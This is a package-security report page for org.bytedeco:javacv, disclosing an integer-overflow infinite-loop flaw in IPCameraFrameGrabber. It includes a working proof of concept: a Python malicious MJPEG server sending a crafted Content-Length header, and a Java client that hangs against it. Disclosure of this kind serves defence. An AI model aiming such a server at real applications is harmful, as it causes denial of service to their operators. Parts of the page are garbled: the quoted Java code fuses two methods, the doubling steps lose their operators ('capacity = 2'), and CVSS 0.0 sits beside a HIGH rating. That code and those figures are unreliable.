maven package report

Is org.bytedeco:javacv safe?

1 known vulnerability, worst severity HIGH.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so maven packages are not covered.


      cvss
      0.0
      high

      severity out of 10

      epss
      not scored

      chance of exploitation in 30 days

      xyz score
      0.0
      low

      CyberXYZ composite out of 10

      fig. 01 — GHSA-rxjv-24xq-76wc, the advisory selected below

      // 1 advisories

      GHSA-rxjv-24xq-76wc

      HIGHCVE-2026-102834
      // summary

      IPCameraFrameGrabber parses the Content-Length value from the multipart MJPEG HTTP stream returned by the configured IP camera without any bounds checking. A malicious or compromised camera endpoint - or any network attacker able to tamper with the plaintext HTTP response (these streams are conventionally accessed over http://, as documented in the class itself) - can supply a Content-Length value in the range 1073741825-2147483647. This drives the internal buffer-growth routine ensureBufferCapacity(int) into 32-bit signed integer overflow, which turns the "grow the buffer" loop into a true infinite loop: the loop variable oscillates to 0 and never again satisfies the loop's exit condition. The thread that called grab()/grabBufferedImage() spins at 100% CPU forever and never returns, permanently hanging the calling application's frame-grabbing thread with no exception, timeout, or interrupt path available to the caller.

      // details

      File: src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java

      private byte[] readImage() throws IOException {
          ...
          int c0 = subheader.indexOf("content-length: ");
          final int c1 = subheader.indexOf('\r', c0);
          if (c0 < 0) {
              throw new EOFException("The camera stream ended unexpectedly");
          }
          c0 += 16;
          final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim());   // <-- fully attacker-controlled
          // adaptive size - careful - don't want a 2G jpeg
          ensureBufferCapacity(contentLength);                                              //  pixelBuffer.length) {
              pixelBuffer = new byte[capacity];
          }
      }

      contentLength is taken verbatim from the HTTP response headers of the camera stream and passed directly into ensureBufferCapacity with no upper-bound validation (the comment "adaptive size - careful - don't want a 2G jpeg" shows the author was aware of the risk but never implemented a check).

      ensureBufferCapacity repeatedly doubles capacity (a 32-bit int, starting at pixelBuffer.length == 1024) until it is >= desiredCapacity. If desiredCapacity is greater than 2^30 (1073741824) but <= Integer.MAXVALUE (2147483647):

      • capacity reaches 2^30 (1073741824) after 20 doublings; the loop condition capacity < desiredCapacity is still true.
      • capacity = 2 computes 2^31, which overflows a signed 32-bit int and wraps to Integer.MINVALUE (-2147483648).
      • The loop condition capacity < desiredCapacity (a negative number compared to a large positive desiredCapacity) is still true, so the loop continues.
      • capacity = 2 computes Integer.MINVALUE 2, which in two's-complement 32-bit arithmetic wraps to 0.
      • From this point on, capacity is permanently 0 (0 2 == 0), and 0 < desiredCapacity remains true forever - the while loop never terminates.

      This is a pure CPU-bound loop with no I/O, no blocking call, and no InterruptedException check, so it cannot be interrupted via Thread.interrupt() and will not respect any readTimeout/connectionTimeout configured on the grabber (those only apply to the socket read that happens before this code path). The only remedy is killing the JVM/thread from outside.

      // poc

      A minimal malicious/MITM'd MJPEG server that reproduces the hang:

      import socket
      
      srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
      srv.bind(("0.0.0.0", 8080))
      srv.listen(1)
      print("listening on :8080")
      conn, _ = srv.accept()
      conn.recv(4096)  # swallow the client's request
      
      # Any value in (1073741824, 2147483647] triggers the overflow.
      malicious_length = 2000000000
      header = (
          "--myboundary\r\n"
          "Content-Type: image/jpeg\r\n"
          "Content-Length: %d\r\n\r\n" % malicious_length
      )
      conn.sendall(header.encode())
      # The client will now spin forever inside ensureBufferCapacity()
      # before ever attempting to read the (fake) body.

      Java client (representative of any application embedding javacv to view an "IP camera" URL):

      import org.bytedeco.javacv.IPCameraFrameGrabber;
      import java.util.concurrent.TimeUnit;
      
      public class Poc {
          public static void main(String[] args) throws Exception {
              IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(
                  "http://127.0.0.1:8080/videostream.cgi", 5, 5, TimeUnit.SECONDS);
              grabber.start();
              grabber.grab(); // never returns; thread pegs a CPU core at 100% forever
          }
      }

      Running the client against the malicious server above causes grab() to hang permanently, consuming a full CPU core, regardless of the startTimeout/grabTimeout passed to the constructor.

      // impact

      Any application that uses IPCameraFrameGrabber to consume a camera/MJPEG stream from a source that is not fully trusted - including the common case of plain http:// streams (as shown in the class's own documented examples: http://host/videostream.cgi?...) that can be tampered with by a network-position attacker - can be forced into a permanent, unrecoverable CPU-spinning hang of the grabbing thread by a single crafted response header. No authentication, JPEG payload, or actual data transfer is required; the malicious header alone is sufficient. Repeated exploitation against a server that spawns a grabber thread per client/camera (a common pattern for video-surveillance/monitoring backends) can exhaust available threads/CPU, resulting in a broader denial of service.

      // cvss v3.1 vector

      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

      Attack vector
      Network
      Attack complexity
      Low
      Privileges required
      None
      User interaction
      None
      Scope
      Unchanged
      Confidentiality
      None
      Integrity
      None
      Availability
      High

      Checked 2026-10-17 at 08:09 UTC. The most recent advisory here was published 2026-10-16. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.